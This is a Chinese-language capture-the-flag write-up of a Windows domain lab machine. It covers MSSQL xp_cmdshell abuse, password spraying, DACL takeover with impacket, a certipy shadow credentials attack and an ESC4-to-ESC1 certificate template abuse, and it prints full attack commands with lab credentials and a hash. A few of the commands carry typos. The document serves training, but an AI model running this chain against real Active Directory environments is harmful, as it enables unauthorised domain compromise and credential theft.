1 题目描述

注意给了个凭证,一开始我还漏了这个信息。

2 普通权限获取

2.1 端口扫描

注意:这里端口扫描的时候,还是不能追求速度快,毕竟不是内网,网速什么的不是很稳定。
比如,下面是我第一次扫描的结果,可以看到漏了很多信息(88端口、1433等关键端口)

1
nmap -sC -sV -p- --min-rate=10000 --max-retries=1 -oN escapeTwo.nmap -v -Pn
                      10.129.232.128

2.2 SMB信息枚举

找到两个excel表格,拿下来读一读 可以看到,是有不少凭证的,我们拿去挨个试一下,看看哪些能用

找到一个可以利用的域用户。同时注意到,这里的sa用户很有可能是mssql的管理员账号。

至此,smb枚举利用的差不多了。接下来重点关注mssql服务。

2.3 MSSQL利用Getshell

尝试利用sa用户登录,发现成功登录,那我们常规操作一下,拿shell
1、开启xp_cmdshell以执行系统命令

2、反弹shell

注意下,这个反弹shell的payload很长,我们直接使用xp_cmdshell是执行不了的,会报错—长度限制。
这里的解决办法是使用EXEC master..xp_cmdshell,这个没有限制长度

经过一番搜查,发现sql_svc的家目录没有什么关键的信息,且也读不了flag。然后尝试查找mssql相关的配置文件,最终找到一个密码

2.4 密码喷洒

有了密码,但是还不知道这个密码都有谁再用,于是先枚举域内用户,然后密码喷洒一下

成功拿到一个用户ryan。
直接拿shell读flag

3 提权

3.1 证书模板枚举

这里先利用普通用户ryan查看所有证书模板:

1
2
3
4
certipy-ad find \ 
-u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' \
-dc-ip '10.129.232.128' -text \
-enabled -hide-admins

发现cert publishers组的用户有对下面的这个模板有很高的权限,而且该模板的注册还不需要管理员审核。这里如果我们能控制一个用户,且该用户属于cert publishers组就好了。

3.2 影子凭证攻击

为了更好的了解我们所拥有的用户在域中的权限,以及和其他用户的关系,我们使用BloodHound来查看

发现我们的ryan用户对ca_svc用户有WriteOwner权限,也就是说我们可以将CA_SVC的拥有者设置为Ryan。

知识点说明:
1、WriteOwner权限

  • 拥有对某个对象的“Write Owner”权限,意味着你可以指定谁成为该对象的新所有者

2、所有权的意义

  • 所有者默认拥有修改该对象权限的能力
  • 所有者可以修改对象的自主访问控制列表(DACL),也就是可以给其他人授予或拒绝对该对象的任何权限(关键!!!)

# 我们接下来利用的就是这个DACL,具体来说可以给自己授予任何其他权限,例如:

  • Reset Password:重置CA_SVC的密码
  • Write All Properties:修改CA_SVC的描述、电话号码、组成员身份等所有属性
  • Full Control:获得对CA_SVC的完全控制权,可以修改密码,修改属性等等

影子凭证攻击:

攻击原理:

  1. 添加关键凭据:攻击者先在本地生成一对公私钥,然后向目标账户的 msDS-KeyCredentialLink 属性中添加生成的公钥。此时攻击者获得了”代表”该账户的身份能力
  2. 请求 Kerberos 证书: 之后,攻击者可以使用对应的私钥向 AD CS 服务请求一个 Kerberos 认证证书。这个证书证明攻击者有权代表受害者账户
  3. 获取 TGT:在 Kerberos 的 PKINIT 扩展认证中,攻击者使用证书向 KDC证明身份。KDC 在响应中会返回一个使用目标用户密钥加密的 AS-REP
  4. 获取访问权限: 最后,使用这个 TGT 可以像目标账户一样访问域内资源,从而实现对目标账户的权限提升或横向移动。同时,由于攻击者拥有证书对应的私钥,他们可以解密部分数据,但更重要的是:攻击者可以离线暴力破解这个加密数据,从而恢复出用户的 NT 哈希

1、修改ca_svc用户的拥有者是ryan

1
impacket-owneredit -action write -new-owner 'ryan' -target
                      'ca_svc' -dc-ip '10.129.232.128' 'SEQUEL.HTB/ryan:WqSZAFCysDQbGb3'
                      2>/dev/null
2、配置ryan对ca_svc用户拥有完全控制权(通过修改DACL实现---这里目的是后面修改ca_svc用户的属性)
1
impacket-dacledit -action write -rights 'FullControl' -principal
                      'ryan' -target 'ca_svc' -dc-ip '10.129.232.128'
                      'SQUEL.HTB/ryan:WqSZAF6CysDQbGb3' 2>/dev/null
3、影子凭证攻击---修改ca_svc用户的msDS-KeyCredentialLink属性(这里也可以直接修改用户的密码,不是一定要这种方式,权限够大,能实现的方式也多一些)
1
certipy-ad shadow auto -u 'ryan@sequel.htb' -p
                      "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip
                      '10.129.232.128'
==注意:这题上面的三条命令要连续的快速执行,否则有一个计划任务会重置这些更改,导致我们前面的修改无效,最终执行失败==

3.3 ESC4 to ESC1

也是拿到我们想要的用户了,现在开始证书相关的攻击。

1、首先检测一下易受攻击的模板,下面的命令能自动识别(经过测试,普通的域用户可以枚举所有的模板,但是不能直接执行该操作,原因暂时不清楚。)

1
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce
                      -vulnerable -stdout

2、然后修改改模板,使其符合ESC1,能让我们利用

1
certipy-ad template -u ca_svc@sequel.htb -hashes
                      '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication'
                      -target DC01.sequel.htb -ns 10.129.232.128 -debug

易受 ESC1 攻击的模板具有以下配置:

  • 证书模板允许请求者指定主题备用名称: 攻击者可在申请证书时,在 SAN 字段中冒充任意用户(如域管理员)。AD 在身份验证时会优先使用证书中的 SAN 身份
  • 证书模板包含客户端认证等身份验证相关的 EKU: 证书能用于 Kerberos 身份验证,例如通过 PKINIT 协议获取 TGT(票据授予票据)
  • 低权限用户被授予证书注册权限: 普通域用户可以直接申请这些配置有问题的证书,无需特殊审批。
  • 无需管理员批准: 成功申请后直接下发
  • 不需要授权签名: 攻击者在申请证书时无需额外的授权签名,降低了利用门槛和复杂性。

3、请求该证书

1
certipy-ad req -u ca_svc@sequel.htb -hashes
                      '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template
                      'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns
                      10.129.232.128 -dns 10.129.232.128 -dc-ip 10.129.232.128

4、利用该证书进行kerberos认证,并获取请求TGT

成功拿到管理员hash

3.4 PTH